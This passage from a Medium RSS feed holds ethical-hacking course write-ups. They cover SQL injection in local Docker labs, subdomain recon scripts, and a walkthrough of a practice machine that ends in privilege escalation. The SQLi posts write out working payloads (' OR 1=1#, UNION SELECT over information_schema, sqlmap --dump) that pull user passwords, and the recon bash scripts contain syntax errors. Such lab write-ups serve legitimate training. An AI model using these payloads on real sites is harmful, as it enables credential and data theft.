listener at the desired port &amp; BOOM, we got our Reverse Shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*2R_P1eMkj7ThhONdH6oRhA.png" /></figure><p>Thankyou for reading. Do like👍and clap👏 if you find it insightful!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00dbb33d45e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCM Security — Practical Ethical Hacking Course — Find & Exploit Common Web Vulnerabilities — SQLi]]></title>
            <link>https://shibushivansh.medium.com/tcm-security-practical-ethical-hacking-course-find-exploit-common-web-vulnerabilities-sqli-a2d03b8608a9?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2d03b8608a9</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[data-security]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Mon, 04 Mar 2024 05:11:26 GMT</pubDate>
            <atom:updated>2024-03-04T05:11:26.631Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*7DalsStyb4lohJcZ.png" /><figcaption>Copyright -&gt; <a href="https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE">https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE</a></figcaption></figure><h3>TCM Security — Practical Ethical Hacking Course — Find &amp; Exploit Common Web Vulnerabilities — SQLi</h3><h3>Docker, Docker-Compose, BurpSuite</h3><p>To install Docker, use the command : sudo apt install docker.io</p><p>To install Docker-Compose, use the command : sudo apt install docker-compose</p><p>In this module, we are given with some Labs to get hands on with the Web Vulnerabilities and Methods to figure them out.</p><p>I have no clues if I could upload these labs over on medium, so I’ll be leaving that part. Still I’ll be giving a walkthrough of each of the step.</p><p>Now, we have a got a file with the extension .tar.gz, now to extract files from such a file, we use the command : tar -xf &lt;filename&gt;</p><p>Now, we’ll be entering into the directory and will be taking help of docker-compose for downloading some images/files, using the command sudo docker-compose up</p><p>After the downloading of all the files/images is over, we’ll be setting up the permissions to run the labs through a file given in the folder downloaded by executing the script by the command : ./set-permission.sh</p><p>Now, we’ll be using the docker containers in the background by adding a flag -d in the command : sudo docker-compose up -d</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-sZ7IU4NlMw7qLZwXy1dg.png" /></figure><p>To stop the container, use the command : sudo dokcer-compose stop</p><p>To check the status of the containers, use the command : sudo docker ps -a</p><p>To remove the container, use the command : sudo docker rm &lt;Conatiner_Id&gt;</p><p>Now, to work on the running docker we just need to hit the <a href="http://localhost/">localhost</a>, and you will end up with the following screen :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GhFbrxGmoI2GSevJPxPhw.png" /></figure><p>As, while doing WebApp Penetration we generally require two things, without which Web App Penetration looks like a tedious task to me i.e. BurpSuite and FoxyProxy.</p><p>Kali comes with BurpSuite prebuilt so you are not required to install it anyways and to install FoxyProxy you can directly get on to the this link : <a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/?utm_source=addons.mozilla.org&amp;utm_medium=referral&amp;utm_content=search%5C%5C">https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/?utm_source=addons.mozilla.org&amp;utm_medium=referral&amp;utm_content=search\\</a></p><p>To reset the labs we can simply get on to the given link : localhost/init.php</p><p>This will drop all the previously generated databases and create the new ones.</p><h3>SQL INJECTION</h3><p>Basic commands to know before jumping into the SQli Vulnerabilities :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*4m21lIjIY3sQt9qmpRO-lQ.png" /></figure><p>There are some characters that triggers SQLi Vulnerabilities like ‘ , “ . Then we can also use a basic injection like &#39;OR 1=1# . We can use -- - to comment every element of query ahead.</p><h3>SQL INJECTION UNION</h3><p>UNION is used to get information from different tables also. But all the people know about the basics of SQL are known to a fact that we are required to use UNION only when number of columns on both the ends are equal.</p><p>Now to check how many columns are present on both the side we will be iterating over the number of null present in the given query like : jeremy&#39; UNION SELECT null#. If we get some output out of the query then we know the exact number of columns being used like the image given below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*q1Vk_pqkQkea044CWua-Pg.png" /></figure><p>Now we can play with the injection and get information like version of the database running on the web-server by using the command : &#39; union select null,null,version()#</p><p>If I need to know about different tables present in the database, I can use the command : &#39;union select null, null,table_name from information_schema.tables#</p><p>Also, if I need to know about different columns present in the database, I can use the command : &#39;union select null, null,column_name from information_schema.columns#</p><p>Our main objective of the first Lab was to get the password of Jeremy, which is given below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*iHEDyAydZhTSooro-uI0yQ.png" /></figure><p>As we were using null to get the exact number of columns sometimes we might be required to check int because the column might not contain string instead contain values with datatype integer.</p><h3>SQL INJECTION BLIND 0x02</h3><p>The best advice I can get is for penetration is “To be known with the application”. You should test all the functionalities present in the web application and check what are the things that can contain potential vulnerability.</p><p>Now for the Lab 2, we’ll be using BurpSuite to intercept the requests that occurs between the computer and the application.</p><p>First thing to do is to establish a target that we’re gonna work with and add to the scope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YOAJcX53pXIt-JQ2b86C3w.png" /></figure><p>Now, to start the lab we will try to login with default credentials given, so that we could get better view of what exactly the application is doing. After knowing the basics of the application, we’ll be sending the request to the repeater so as to make changes in the request and check what are the responses we’ll get.</p><p>Now, for this particular web application when we encounter correct response the Content-length becomes 1928 and for the incorrect one we get that as 2122. Now we’ll be playing with parameters given to us. As we’re over a web-app so we need to see that we are encoding the parameters we are passing in the URL Format which can be easily done using the command : Ctrl+U</p><p>For this particular application, we didn’t receive good errors, so we’ll be shifting our concerns to SQLMap.</p><p>To use SQLMap, we need to follow some good instructions :</p><ol><li>Copy the POST Request into a text file.</li><li>To use the SQLMap use the command : sqlmap -r &lt;txt_filename&gt;.txt</li><li>In this case, it provided with different warnings and described that it didn’t find any potential vulnerability in it.</li></ol><p>Also, during this lab, we got a GET Request with Cookie Session Parameter, as given in the image below, now we’ll try to intercept that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33ksnk-pc-hPV84eLCB6sQ.png" /></figure><p>Now, here on playing with the application, we’re unable to receive any great outputs but we get some behavioral changes in the application, so we can assume that it can have a potential Blind SQL Vulnerability. We’ll be using the concept of Substring here, and checking what behavioral changes we found in the application.</p><p>In the image given below we’re using the concept of SUBSTRINGS in SQL :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*SciySGM4V0uTrER5BxLFaw.png" /></figure><p>So, we can automate the task and get the “Jessemy’s Password”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*Qy0153mxxSt4SMUtliqV5Q.png" /></figure><p>Now, we will be shifting our concern to the Intruder tab and we’ll be checking the exact password we want to know about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*ZBFNDp1PuKb5hl26tXbhww.png" /></figure><p>Now, we’ll be shifting our concerns to SQLMap. We’ll be storing this request and using it to get some vulnerable points. We can also change the level of SQLMap by adding the flag --level=2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4sS33B3Ag9BHaBhxbwAeZA.png" /></figure><p>And we found out a good payload to play with. And then we can simply add a flag named --dump . And hence we got this following table :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*aa6rCMe8wmVh_-ZGGSwmDw.png" /></figure><h3>SQL INJECTION BLIND 0x03</h3><p>Now here, we started with the basic queries like &#39; or 1=1# etc. So then we check the number of columns present in the table using the null approach and found the resulting query to be used which provided us with the username of one of the user and then the password. The commands I used were :</p><ol><li>Senpai Knife Set’ UNION Select null, null, null, table_name from information_schema.tables# → It resulted in different tables of which we got interested in Injection0x03_users.</li><li>Senpai Knife Set’ UNION Select null, null, null, username from injection0x03_users# → It resulted in the username of one of the person.</li><li>Senpai Knife Set’ UNION Select null, null, null password from injection0x03_users# → It resulted in the password of that user.</li></ol><p>Then we intercepted the request and got a post request (whose image is given below), and then we saved that into a file named req_i0x03.txt.</p><p>Here, we changed the product parameter and gave it test instead of the injection used. And then saved it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*Tlm8gfaJkLw-jOvc8mMJFg.png" /></figure><p>Now, we ran the sqlmap with the command : sqlmap -r req_0x03 -T injection0x03_users --dump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*mxKXtyMJVR9Cf23roCPgRw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2d03b8608a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCM Security — Practical Ethical Hacking Course — Web Application Enumeration, Revisited]]></title>
            <link>https://shibushivansh.medium.com/tcm-security-practical-ethical-hacking-course-web-application-enumeration-revisited-4e1ae6f6d429?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e1ae6f6d429</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Wed, 28 Feb 2024 05:13:51 GMT</pubDate>
            <atom:updated>2024-02-28T05:13:51.144Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZhgU07RRRCzlbuqW.png" /><figcaption>Copyright -&gt; <a href="https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE">https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE</a></figcaption></figure><h3>TCM Security — Practical Ethical Hacking Course — Web Application Enumeration, Revisited</h3><h3>Installing Go</h3><p><a href="http://www.giithub.com/Dewalt-arch/pimpmykali">http://www.giithub.com/Dewalt-arch/pimpmykali</a> → Repo to install Go</p><ol><li>Go into the /opt/ directory → cd /opt/</li><li>Now, clone the repository → git clone &lt;http://www.github.com/Dewalt-arch/pimpmykali&gt;</li><li>Go to the folder → cd pimpmykali</li><li>Then, get the script running and press 3 after the script is executed → ./pimpmykali.sh</li></ol><p>The above method provided me some errors, so I took the help from the following website :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*h0ZIO8DTyXXExB2MHKV3Xg.png" /></figure><p>Use these commands and you’ll get better results. I ran into a lot of trouble on using the above methods.</p><h3>Finding Subdomains with Assetfinder</h3><p><a href="https://github.com/tomnomnom/assetfinder">https://github.com/tomnomnom/assetfinder</a> → Repo to install Assetfinder</p><p>But I would suggest you to directly type in the command on the terminal : sudo apt install assetfinder</p><p>We will be creating a script to get the subdomains using Assetfinder:</p><pre>#!/bin/bash<br>url = $1<br>if[ !-d &quot;$url&quot; ];then<br> mkdir $url<br>fi<br>if[ ! -d &quot;$url/recon&quot; ];then<br> mkdir $url/reconn<br>fi<br>echo &quot;[+] Harvesting subdomains with assetfinder...&quot;<br>assetfinder $url &gt;&gt; $url/recon/assets.txt<br>cat $url/recon/assets.txt | grep $1 &gt;&gt; $url/recon/final.txt<br>rm $url/recon/assets.txt</pre><h3>Finding Subdomains with Amass</h3><p>Amass usually comes pre-installed with your Kali Linux.</p><p><a href="https://github.com/owasp-amass/amass">https://github.com/owasp-amass/amass</a> → Repo for amass</p><p>To install use this command → go get -u [github.com/owasp-amass/amass](&lt;http://github.com/owasp-amass/amass&gt;)</p><p>You just need to check using the command on CLI : amass</p><p>To run amass to get the subdomains we can use the command : amass enum -d &lt;website&gt;</p><p>Usually, Amass comes with Kali inbuilt, so you are not required to download it from any source.</p><p>A script that combines the results of Assetfinder &amp; Amass :</p><pre>#!/bin/bash<br>url = $1<br>if[ !-d &quot;$url&quot; ];then<br> mkdir $url<br>fi<br>if[ ! -d &quot;$url/recon&quot; ];then<br> mkdir $url/reconn<br>fi<br>echo &quot;[+] Harvesting subdomains with assetfinder...&quot;<br>assetfinder $url &gt;&gt; $url/recon/assets.txt<br>cat $url/recon/assets.txt | grep $1 &gt;&gt; $url/recon/final.txt<br>rm $url/recon/assets.txt<br>echo &quot;[+] Harvesting subdomains with amass...&quot;<br>amass enum -d $url &gt;&gt; $url/recon/f.txt<br>sort -u $url/recon/f.txt &gt;&gt; $url/recon/final.txt<br>rm $url/recon/f.txt</pre><h3>Finding Alive Domains with Httprobe</h3><p>go get -u [github.com/tomnomnom/httprobe](&lt;http://github.com/tomnomnom/httprobe-&gt;) → To download Httprobe</p><p>But I would suggest you to directly type in the command on the terminal : sudo apt install httprobe</p><p>To use it , you just need to have a list of domains to check their living status → cat list.txt | httprobe -s -p https:443</p><p>We can also enhance the search result by typing in → cat list.txt | httprobe -s -p https:443 | sed &#39;s/https\\?:\\/\\///&#39; | tr -d &#39;:443&#39;</p><p>Now, we will modify the above script →</p><pre>#!/bin/bash<br>url = $1<br>if[ !-d &quot;$url&quot; ];then<br> mkdir $url<br>fi<br>if[ ! -d &quot;$url/recon&quot; ];then<br> mkdir $url/reconn<br>fi<br>echo &quot;[+] Harvesting subdomains with assetfinder...&quot;<br>assetfinder $url &gt;&gt; $url/recon/assets.txt<br>cat $url/recon/assets.txt | grep $1 &gt;&gt; $url/recon/final.txt<br>rm $url/recon/assets.txt<br>echo &quot;[+] Harvesting subdomains with amass...&quot;<br>amass enum -d $url &gt;&gt; $url/recon/f.txt<br>sort -u $url/recon/f.txt &gt;&gt; $url/recon/final.txt<br>rm $url/recon/f.txt<br>echo &quot;[+] Probing for alive domains...&quot;<br>cat $url/recon/final.txt | sort -u | httprobe -s -p https:443 | sed &#39;s/https:\\?:\\/\\///&#39; | tr -d &#39;:443&#39; &gt;&gt; $url/recon/alive.txt</pre><h3>Screenshotting Websites with GoWitness</h3><p>Refer to this Medium Page : <a href="https://medium.com/@psychomong/go-witness-install-guide-a62d96be30b0">https://medium.com/@psychomong/go-witness-install-guide-a62d96be30b0</a></p><p>After installing GoWitness using the above Medium Reference, you can use it easily as you want to.</p><p>But still it won’t work for some of you. Because I am also facing problems working with it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e1ae6f6d429" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCM Security — Practical Ethical Hacking Course —Dev Walktrough]]></title>
            <link>https://shibushivansh.medium.com/tcm-security-practical-ethical-hacking-course-dev-walktrough-2df0a006d8b1?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/2df0a006d8b1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Mon, 02 Oct 2023 17:27:07 GMT</pubDate>
            <atom:updated>2023-10-02T17:27:07.653Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*oM7yetjxYW201FeO.png" /><figcaption>Copyright -&gt; <a href="https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE">https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE</a></figcaption></figure><h3>TCM Security — Practical Ethical Hacking Course —Dev Walktrough</h3><p>I first did the classic way of <strong><em>Scanning &amp; Enumeration</em></strong> that is ARP Scanning and NetDiscover :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*_mu8MupVz4DWOvtiXuoc4A.png" /></figure><p>Then I scanned the machine using NMAP and got the following results :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*jSTBskL7V45Nmrdx1yj-7A.png" /></figure><p>So here we got <strong><em>ssh, nfs, http &amp; mountd </em></strong>open. Now I started the FFuF Scan to know about the directories present on the machine. I found :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*1A9nitZVcsGs0huamaKBcw.png" /></figure><p>Then I jumped onto the WebApp and found out that BoltWire was not installed correctly.</p><p>Then I saw that I can mount the machine with my Kali. So I first used <strong><em>showmount</em></strong> which gave me info like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*uM2SBM41JEiihJJitYbCdg.png" /></figure><p>So, I created a directory on my Kali as <strong><em>/mnt/dev. </em></strong>When I checked the files and directories present I found a zip file.</p><p>Now, to unzip the file I required a password so I installed <strong><em>fcrackzip</em></strong>. I then gave it the famous <strong><em>RockYou</em></strong> wordlist and it found me the password for the zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*zAoUli7o9E8EO51CLTE9XA.png" /></figure><p>After checking that I got the message from the developer which was saved as <strong><em>todo.txt .</em></strong> This file gave me a clear indication that the BoltWire is working fine and I need to exploit it. Also, it had signature as <strong><em>jp</em></strong> which gave us a clear indication about the user who would have a login to the machine.</p><p>I, then, searched for an exploit for the BoltWire and found :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*2drc6CMV8tudSPFDWweHuA.png" /></figure><p>So, I searched for it and applied that in the Url. <strong><em>BOOM</em></strong> I got the password list for the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*VkIL3SNOUWZmR-hD0Tl5Vg.png" /></figure><p>After this I started exploring more about the directories that I got. I found out that there is an <strong><em>/app/config</em></strong> directory and I found <strong><em>config.yml </em></strong>file.</p><p>There I found some potential database password :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/262/1*_GX1XsUjkvjpw6ekXU2C8w.png" /></figure><p>Then I used this information to login into <strong><em>SSH</em></strong>. And I got the attempt correct and got logged into it.</p><p>But I just had the SUDO permission for ZIP. I got to the website : <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a></p><p>I found out that now I can get the SUDO Permissions at the shell. So I used it and got a flag with the text :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*x3XbyERhVWfkeCb27uFVeQ.png" /></figure><p><strong><em>Thankyou✨!</em></strong></p><p><strong><em>Clap 👏, if you liked that!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2df0a006d8b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>